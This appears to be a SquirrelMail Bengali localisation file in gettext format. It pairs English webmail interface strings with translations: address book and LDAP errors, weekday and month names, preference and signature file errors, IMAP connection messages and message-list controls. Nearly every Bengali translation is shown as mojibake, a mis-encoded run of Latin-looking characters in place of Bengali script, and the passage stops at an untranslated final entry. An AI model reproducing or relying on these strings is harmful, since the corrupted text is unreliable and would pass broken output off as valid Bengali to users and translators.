msgid "Global address book"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻž"

msgid "Error initializing global address book."
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻļ⧁āϰ⧁ āĻ•āϰāϤ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāĻŽāĻ¸ā§āϝāĻžāĨ¤"

#, php-format
msgid "Error initializing LDAP server %s:"
msgstr "LDAP āϏāĻžāĻ°ā§āĻ­āĻžāϰ %s  āĻļ⧁āϰ⧁ āĻ•āϰāϤ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāĻŽāĻ¸ā§āϝāĻž:"

msgid "Click here to change the sorting of the address list"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āϤāĻžāϞāĻŋāĻ•āĻž āϏāĻžāϜāĻžāύ⧋ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ⧇ āĻāĻ–āĻžāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύ"

msgid "Invalid input data"
msgstr "āĻ…āĻŦ⧈āϧ āχāύāĻĒ⧁āϟ āϤāĻĨā§āϝ"

msgid "Name is missing"
msgstr "āύāĻžāĻŽ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿ āύāĻŋ"

msgid "E-mail address is missing"
msgstr "āχ-āĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž āĻĻā§‡ā§ŸāĻž āĻšā§ŸāύāĻŋ"

msgid "Nickname contains illegal characters"
msgstr "āĻ›āĻĻā§āĻŽāύāĻžāĻŽā§‡ āφāĻĒāύāĻŋ āϝ⧇āϏāĻŦ āĻ…āĻ•ā§āώāϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āϛ⧇āύ, āϤāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻž"

msgid "View"
msgstr "āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "View Business Card"
msgstr "āĻŦā§āϝāĻŦāϏāĻžāϰ āĻ•āĻžāĻ°ā§āĻĄ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "Your session has expired, but will be resumed after logging in again."
msgstr "āφāĻĒāύāĻžāϰ āĻ…āϧāĻŋāĻŦ⧇āĻļāύ āĻŽā§‡ā§ŸāĻĻā§‹āĻ¤ā§āϤ⧀āĻ°ā§āĻŖ, āĻĒ⧁āύāϰāĻžā§Ÿ āϞāĻ—āχāύ⧇āϰ āĻĒāϰ āĻāϟāĻŋ āφāĻŦāĻžāϰ āĻļ⧁āϰ⧁ āĻšāĻŦ⧇āĨ¤"

msgid "Sunday"
msgstr "āϰāĻŦāĻŋāĻŦāĻžāϰ"

msgid "Monday"
msgstr "āϏ⧋āĻŽāĻŦāĻžāϰ"

msgid "Tuesday"
msgstr "āĻŽāĻ™ā§āĻ—āϞāĻŦāĻžāϰ"

msgid "Wednesday"
msgstr "āĻŦ⧁āϧāĻŦāĻžāϰ"

msgid "Thursday"
msgstr "āĻŦ⧃āĻšāσāĻˇā§āĻĒāϤāĻŋāĻŦāĻžāϰ"

msgid "Friday"
msgstr "āĻļ⧁āĻ•ā§āϰāĻŦāĻžāϰ"

msgid "Saturday"
msgstr "āĻļāύāĻŋāĻŦāĻžāϰ"

msgid "Sun"
msgstr "āϰāĻŦāĻŋāĻŦāĻžāϰ"

msgid "Mon"
msgstr "āϏ⧋āĻŽāĻŦāĻžāϰ"

msgid "Tue"
msgstr "āĻŽāĻ™ā§āĻ—āϞ"

msgid "Wed"
msgstr "āĻŦ⧁āϧ"

msgid "Thu"
msgstr "āĻŦ⧃āĻšāσ"

msgid "Fri"
msgstr "āĻļ⧁āĻ•ā§āϰ"

msgid "Sat"
msgstr "āĻļāύāĻŋ"

msgid "January"
msgstr "āϜāĻžāύ⧁⧟āĻžāϰ⧀"

msgid "February"
msgstr "āĻĢ⧇āĻŦā§āϰ⧁⧟āĻžāϰ⧀"

msgid "March"
msgstr "āĻŽāĻžāĻ°ā§āϚ"

msgid "April"
msgstr "āĻāĻĒā§āϰāĻŋāϞ"

msgid "May"
msgstr "āĻŽā§‡"

msgid "June"
msgstr "āϜ⧁āύ"

msgid "July"
msgstr "āϜ⧁āϞāĻžāχ"

msgid "August"
msgstr "āĻ…āĻ—āĻžāĻˇā§āϟ"

msgid "September"
msgstr "āϏ⧇āĻĒā§āĻŸā§‡āĻŽā§āĻŦāϰ"

msgid "October"
msgstr "āĻ…āĻ•ā§āĻŸā§‹āĻŦāϰ"

msgid "November"
msgstr "āύāϭ⧇āĻŽā§āĻŦāϰ"

msgid "December"
msgstr "āĻĄāĻŋāϏ⧇āĻŽā§āĻŦāϰ"

msgid "Jan"
msgstr "āϜāĻžāύ"

msgid "Feb"
msgstr "āĻĢ⧇āĻŦ"

msgid "Mar"
msgstr "āĻŽāĻžāĻ°ā§āϚ"

msgid "Apr"
msgstr "āĻāĻĒā§āϰāĻŋāϞ"

msgid "Ma&#121;"
msgstr "Ma&#121;"

msgid "Jun"
msgstr "āϜ⧁āύ"

msgid "Jul"
msgstr "āϜ⧁āϞāĻžāχ"

msgid "Aug"
msgstr "āφāĻ—āĻˇā§āϟ"

msgid "Sep"
msgstr "āϏ⧇āĻĒā§āϟ"

msgid "Oct"
msgstr "āĻ…āĻ•ā§āϟ"

msgid "Nov"
msgstr "āύāϭ⧇"

msgid "Dec"
msgstr "āĻĄāĻŋāϏ⧇"

msgid "D, F j, Y g:i a"
msgstr "D, F j, Y g:i a"

msgid "D, F j, Y H:i"
msgstr "D, F j, Y H:i"

msgid "M j, Y"
msgstr "M j, Y"

msgid "g:i a"
msgstr "g:i a"

msgid "H:i"
msgstr "H:i"

msgid "D, g:i a"
msgstr "D, g:i a"

msgid "D, H:i"
msgstr "D, H:i"

#, php-format
msgid "Preference database error (%s). Exiting abnormally"
msgstr "āĻ…āĻ­āĻŋāϰ⧁āϚāĻŋ āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āĻ¤ā§āϰ⧁āϟāĻŋ (%s)āĨ¤ āϏāĻŽāĻ¸ā§āϝāĻžāϰ āĻ•āĻžāϰāϪ⧇ āĻ…āĻ¸ā§āĻŦāĻžāĻ­āĻžāĻŦāĻŋāĻ•āĻ­āĻžāĻŦ⧇ āĻ¤ā§āϝāĻžāĻ— āĻ•āϰāϛ⧇"

#, php-format
msgid "Click here to return to %s"
msgstr "%s āĻ āĻĢāĻŋāϰāϤ⧇ āĻšāϞ⧇ āĻāĻ–āĻžāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύ"

msgid "Go to the login page"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāϪ⧇āϰ āĻĒāĻžāϤāĻžā§Ÿ āĻĢāĻŋāϰ⧇ āϝāĻžāύ"

#, php-format
msgid ""
"Preference file, %s, does not exist. Log out, and log back in to create a "
"default preference file."
msgstr ""
"āύāĻŋāĻœā§‡āϰ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϰ āĻĢāĻžāχāϞ %s āĻŦāĻŋāĻĻā§āϝāĻŽāĻžāύ āύ⧇āχāĨ¤ āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻĨ⧇āϕ⧇ āĻŦ⧇āϰ āĻšā§Ÿā§‡ "
"āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻĻāĻŋā§Ÿā§‡ āφāĻŦāĻžāϰ āĻĸ⧁āϕ⧁āύ, āĻļ⧁āϰ⧁āϰ āύāĻŋ⧟āĻŽāϗ⧁āϞ⧋ āĻĻāĻŋā§Ÿā§‡ āĻāĻ•āϟāĻž āύāĻŋ⧟āĻŽā§‡āϰ āĻĢāĻžāχāϞ āϤ⧈āϰ⧀ āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid ""
"Preference file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"āφāĻĒāύāĻžāϰ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āύāĻŋ⧟āĻŽā§‡āϰ āĻĢāĻžāχāϞ %s āϟāĻŋ, āĻ–ā§‹āϞāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ "
"āĻŦāϞ⧁āύ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇āĨ¤"

#, php-format
msgid ""
"Preference file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"āύāĻŋāĻœā§‡āϰ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϰ āĻĢāĻžāχāĻ• %s āĻ,āϞ⧇āĻ–āĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ "
"āĻŦāϞ⧁āύ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇āĨ¤"

#, php-format
msgid ""
"Preference file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"āύāĻŋāĻœā§‡āϰ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϰ āĻĢāĻžāχāϞ %1$s āϟāĻŋāϤ⧇, āĻ–āϏāĻĄāĻŧāĻž āĻĢāĻžāχāϞ %2$s āϟāĻž āĻĨ⧇āϕ⧇ "
"āĻĒā§āϰāϤāĻŋāϞāĻŋāĻĒāĻŋ āϤ⧈āϰ⧀ āĻ•āϰāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āĻŦāϞ⧁āύ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇āĨ¤"

#, php-format
msgid "Error opening %s"
msgstr "%s -āϖ⧁āϞāϤ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāĻŽāĻ¸ā§āϝāĻž"

msgid "Default preference file not found or not readable!"
msgstr ""
"āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻļ⧁āϰ⧁āϤ⧇ āϝ⧇ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀āϰ āĻĢāĻžāχāϞ āϤ⧈āϰ⧀ āĻ•āϰ⧇ āĻĻā§‡ā§Ÿ, āϏ⧇āϟāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž, āĻŦāĻž āϏ⧇āϟāĻž "
"āĻĨ⧇āϕ⧇ āĻĒāĻĄāĻŧāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž!"

msgid "Could not create initial preference file!"
msgstr "āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āĻĒāĻ›āĻ¨ā§āĻĻ-āĻ…āĻĒāĻ›āĻ¨ā§āĻĻ āϝ⧇ āĻĢāĻžāχāϞ⧇ āϞ⧇āĻ–āĻž āĻšāĻŦ⧇ āϏ⧇āϟāĻž āϤ⧈āϰ⧀ āĻ•āϰāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž!"

#, php-format
msgid "%s should be writable by user %s"
msgstr "%1$s āϤ⧇ %2$s āĻŦā§āϝāĻ•ā§āϤāĻŋāϰ āϞ⧇āĻ–āĻžāϰ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻĨāĻžāĻ•āϤ⧇ āĻšāĻŦ⧇"

msgid "Signature is too big."
msgstr "āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ āĻ…āύ⧇āĻ• āĻŦ⧇āĻļā§€ āĻŦ⧜āĨ¤"

#, php-format
msgid ""
"Signature file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ⧇āϰ āĻĢāĻžāχāϞ %s āϟāĻžāϕ⧇, āĻ–ā§‹āϞāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āĻŦāϞ⧁āύ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āĻ āĻŋāĻ• "
"āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇āĨ¤"

#, php-format
msgid ""
"Signature file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ⧇āϰ āĻĢāĻžāχāϞ %s āĻ, āϞ⧇āĻ–āĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āĻŦāϞ⧁āύ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āĻ āĻŋāĻ• āĻ•āϰ⧇ "
"āĻĻāĻŋāϤ⧇āĨ¤"

#, php-format
msgid ""
"Signature file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ⧇āϰ āĻĢāĻžāχāϞ %1$s,āĻ–āϏāĻĄāĻŧāĻž āĻĢāĻžāχāϞ %2$s āĻĨ⧇āϕ⧇ āĻĒā§āϰāϤāĻŋāϞāĻŋāĻĒāĻŋ āϤ⧈āϰ⧀ āĻ•āϰāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ "
"āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āĻŦāϞ⧁āύāĨ¤"

msgid ""
"You need to have PHP installed with the multibyte string function enabled "
"(using configure option --enable-mbstring)."
msgstr ""
"āĻŦāĻšā§āĻŦāĻžāχāϟ āĻĒāĻ‚āĻ•ā§āϤāĻŋ āĻĢāĻžāĻ‚āĻļāύ āϏāĻ•ā§āώāĻŽāϤāĻžāϰ āϏāĻžāĻĨ⧇ āφāĻĒāύāĻžāϕ⧇ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇ (āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ "
"āĻ…āĻĒāĻļāύ --āϏāĻ•ā§āώāĻŽ-āĻāĻŽāĻŦāĻŋāĻ¸ā§āĻŸā§āϰāĻŋāĻ‚ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇)āĨ¤"

msgid "ERROR: No available IMAP stream."
msgstr "āϏāĻŽāĻ¸ā§āϝāĻž: āϕ⧋āύ āφāχāĻŽā§āϝāĻžāĻĒ āĻĒā§āϰāĻŦāĻžāĻš āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤"

msgid "ERROR: Connection dropped by IMAP server."
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĻā§āĻŦāĻžāϰāĻž āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦāĻŋāĻšā§āĻ›āĻŋāĻ¨ā§āύ āĻšā§Ÿā§‡āĻ›āĻŋāϞāĨ¤"

msgid "ERROR: Could not complete request."
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: āĻ…āύ⧁āϰ⧋āϧ āĻļ⧇āώ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋāĨ¤"

msgid "Query:"
msgstr "āϜāĻŋāĻœā§āĻžāĻžāϏāĻž:"

msgid "Reason Given:"
msgstr "āĻ•āĻžāϰāĻŖ āĻĻ⧇āĻ“ā§ŸāĻž āφāϛ⧇:"

msgid "ERROR: Bad or malformed request."
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ‌: āĻ–āĻžāϰāĻžāĻĒ āĻŦāĻž āĻŦāĻŋāĻ•ā§ƒāϤ āĻ…āύ⧁āϰ⧋āϧāĨ¤"

msgid "Server responded:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϏāĻžā§œāĻž āĻĻāĻŋā§Ÿā§‡āϛ⧇:"

msgid "ERROR: IMAP server closed the connection."
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻāĻŋā§Ÿā§‡āϛ⧇āĨ¤"

msgid "ERROR: Unknown IMAP response."
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: āĻ…āĻœā§āĻžāĻžāϤ āφāχāĻŽā§āϝāĻžāĻĒ āĻĒā§āϰāϤāĻŋāĻ•ā§āϰāĻŋ⧟āĻžāĨ¤"

#, php-format
msgid "Error connecting to IMAP server: %s."
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϏāĻ‚āϝ⧋āϗ⧇ āĻ¤ā§āϰ⧁āϟāĻŋ: %sāĨ¤"

msgid "The IMAP server is reporting that plain text logins are disabled."
msgstr "āϏ⧁āĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝāϰ āϞāĻ— āχāύ⧇āϰ āĻŦā§āϝāĻ°ā§āĻĨāϤāĻžāϰ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ•āϰāϛ⧇āĨ¤"

msgid "Using CRAM-MD5 or DIGEST-MD5 authentication instead may work."
msgstr "CRAM-MD5 āĻŦāĻž DIGEST-MD5 āĻĒā§āϰāĻŽāĻžāĻŖā§€āĻ•āϰāĻŖ āĻŦā§āϝāĻŦāĻšāĻžāϰ āϏāĻŽā§āĻ­āĻŦāϤ āĻ•āĻžāϜ āĻ•āϰāĻŦ⧇āĨ¤"

msgid "Also, the use of TLS may allow SquirrelMail to login."
msgstr "āφāϰāĻ“, TLS āĻāϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ SquirrelMail āĻ āϞāĻ— āχāύ⧇ āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤"

#, php-format
msgid "Bad request: %s"
msgstr "āĻ…āĻ°ā§āĻĨāĻšā§€āύ āĻ…āύ⧁āϰ⧋āϧ: %s"

#, php-format
msgid "Unknown error: %s"
msgstr "āĻ…āϜāĻžāύāĻž āϏāĻŽāĻ¸ā§āϝāĻž: %s"

msgid "Read data:"
msgstr "āĻĒāĻ āĻŋāϤ āϤāĻĨā§āϝ:"

msgid "Unknown user or password incorrect."
msgstr "āĻ…āĻœā§āĻžāĻžāϤ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āĻ…āĻĨāĻŦāĻž āĻ­ā§‚āϞ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāĨ¤"

msgid "ERROR: Could not append message to"
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: āϤ⧇ āĻŦāĻžāĻ°ā§āϤāĻž āϏāĻ‚āϝ⧁āĻ•ā§āϤ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋ"

msgid "Solution:"
msgstr "āϏāĻŽāĻžāϧāĻžāύ:"

msgid ""
"Remove unneccessary messages from your folders. Start with your Trash folder."
msgstr ""
"āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋ āϰāĻžāĻ–āĻžāϰ āĻŦāĻžāĻ•ā§āϏāϗ⧁āϞ⧋ āĻĨ⧇āϕ⧇ āĻ…āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋ āĻĢ⧇āϞ⧇ āĻĻāĻŋāύ, āĻāϰāĻĒāϰ āĻĢ⧇āϞ⧇ āĻĻā§‡ā§ŸāĻž "
"āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ āĻĨ⧇āϕ⧇ āĻļ⧁āϰ⧁ āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid "Invalid mailbox name: %s"
msgstr "āĻ…āĻŦ⧈āϧ āĻŦāĻžāĻ°ā§āϤāĻž āĻŦāĻžāĻ•ā§āϏ⧇āϰ āύāĻžāĻŽ: %s"

msgid "(no subject)"
msgstr "(āĻŦāĻŋāώ⧟ āωāĻšā§āϝ)"

msgid "Unknown Sender"
msgstr "āĻ…āϜāĻžāύāĻž āĻĒā§āϰ⧇āϰāĻ•"

msgid "Unknown response from IMAP server:"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĨ⧇āϕ⧇ āĻ…āϜāĻžāύāĻž āĻĒā§āϰāϤāĻŋāĻ•ā§āϰāĻŋ⧟āĻž:"

msgid "The server couldn't find the message you requested."
msgstr "āφāĻĒāύāĻžāϰ āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϖ⧁āρāĻœā§‡ āĻĒāĻžā§ŸāύāĻŋāĨ¤"

msgid ""
"Most probably your message list was out of date and the message has been "
"moved away or deleted (perhaps by another program accessing the same "
"mailbox)."
msgstr ""
"āϏāĻŽā§āĻ­āĻŦāϤ āφāĻĒāύāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻĒ⧁āϰāĻžāύ⧋ āĻšā§Ÿā§‡ āϗ⧇āϛ⧇ āĻāĻŦāĻ‚ āĻāϰ āĻŽāĻ§ā§āϝ⧇ āϚāĻŋāĻ āĻŋāϟāĻž āϏāϰāĻŋā§Ÿā§‡ āĻŦāĻž āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž "
"āĻšā§Ÿā§‡āϛ⧇āĨ¤ āĻāĻŽāύāĻ“ āĻšāϤ⧇ āĻĒāĻžāϰ⧇ āϝ⧇ āĻ…āĻ¨ā§āϝ āϕ⧋āύ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻĨ⧇āϕ⧇ āĻāĻ•āχ āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ āĻĒāĻĄāĻŧāĻž āĻšāĻšā§āϛ⧇āĨ¤"

msgid "Unknown date"
msgstr "āĻ…āϜāĻžāύāĻž āϤāĻžāϰāĻŋāĻ–"

msgid "A"
msgstr "A"

msgid "Thread sorting is not supported by your IMAP server."
msgstr "āφāĻĒāύāĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĻā§āĻŦāĻžāϰāĻž āĻĨā§āϰ⧇āĻĄ āϏāĻžāϜāĻžāύ⧋ āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟āĨ¤"

msgid "Server-side sorting is not supported by your IMAP server."
msgstr "āφāĻĒāύāĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĻā§āĻŦāĻžāϰāĻž āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ-āĻĒāĻ•ā§āώ⧇ āϏāĻžāϜāĻžāύ⧋ āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟āĨ¤"

msgid "THIS FOLDER IS EMPTY"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϟāĻŋ āĻ–āĻžāϞāĻŋ"

msgid "Move Selected To"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāϟāĻŋāϕ⧇ āĻĒāĻžāĻ āĻžāύ"

msgid "Transform Selected Messages"
msgstr "āϚāĻŋāĻšā§āύāĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋āϕ⧇ āĻŦāĻĻāϞāĻžāύ"

msgid "Move"
msgstr "āϏāϰāĻŋā§Ÿā§‡ āύāĻŋāύ"

msgid "Expunge"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšā§‹āĻ•"

msgid "Read"
msgstr "āĻĒāĻĄāĻŧāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid "Unread"
msgstr "āĻ…āĻĒāĻ āĻŋāϤ"

msgid "Unthread View"
msgstr "āφāϞ⧋āϚāύāĻžāϰ āϏ⧂āĻ¤ā§āϰ āĻŽāϤ⧇ āĻĻ⧇āĻ–āĻžāύ⧋āϰ āĻĻāϰāĻ•āĻžāϰ āύ⧇āχ"

msgid "Thread View"
msgstr "āφāϞ⧋āϚāύāĻžāϰ āϏ⧂āĻ¤ā§āϰ āĻŽāϤ⧇ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "Toggle All"
msgstr "āϏāĻŦ āĻĒā§āϰāĻ¤ā§āϝāĻžāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Unselect All"
msgstr "āϏāĻŦāϗ⧁āϞ⧋āϕ⧇ āĻ…āϚāĻŋāĻšā§āύāĻŋāϤ āĻ•āϰ⧁āύ"

msgid "Select All"
msgstr "āϏāĻŦāϗ⧁āϞ⧋āϕ⧇ āϚāĻŋāĻšā§āύāĻŋāϤ āĻ•āϰ⧁āύ"

#, php-format
msgid "Viewing Messages: %s to %s (%s total)"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋ āĻĻ⧇āĻ–āĻžāύ⧋: %1$s āĻšāϤ⧇ %2$s (āĻŽā§‹āϟ %3$s)"

#, php-format
msgid "Viewing Message: %s (%s total)"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻĻ⧇āĻ–āĻžāύ⧋: %1$s (āĻŽā§‹āϟ %2$s)"

msgid "Paginate"
msgstr "āĻĒāĻžāϤāĻž āĻŦāĻž āĻĒ⧃āĻˇā§āĻ āĻžā§Ÿ āĻ•ā§āϰāĻŽāĻŋāĻ• āύāĻ‚ āĻĻ⧇āĻ“ā§ŸāĻž"

msgid "Show All"
msgstr "āϏāĻŦ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "SquirrelMail could not decode the bodystructure of the message"
msgstr "SquirrelMail āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋāϰ āĻŽā§‚āϞ āĻ…āĻ‚āĻļ⧇āϰ āϏāĻ™ā§āϕ⧇āϤ āωāĻĻā§āϘāĻžāϟāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋ"

msgid "The bodystructure provided by your IMAP server:"
msgstr "āφāĻĒāύāĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĻā§āĻŦāĻžāϰāĻž āĻĻ⧇āĻšāĻ—āĻ āύ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻšā§Ÿā§‡āϛ⧇:"

msgid ""
"Body retrieval error. The reason for this is most probably that the message "
"is malformed."
msgstr ""
"āϚāĻŋāĻ āĻŋāϰ āĻŽā§‚āϞ āĻ…āĻ‚āĻļ āĻĒāĻĄāĻŧ⧇ āύ⧇āĻ“ā§ŸāĻž āϗ⧇āϞ āύāĻžāĨ¤ āĻāϰ āĻ•āĻžāϰāĻŖ āϏāĻŽā§āĻ­āĻŦāϤ āϚāĻŋāĻ āĻŋāϰ āĻĢāĻžāχāϞāϟāĻŋāϰ āĻ—āĻ āύ⧇ āϏāĻŽāĻ¸ā§āϝāĻž āφāϛ⧇āĨ¤"

msgid "Command:"
msgstr "āφāĻĻ⧇āĻļ:"

msgid "Response:"
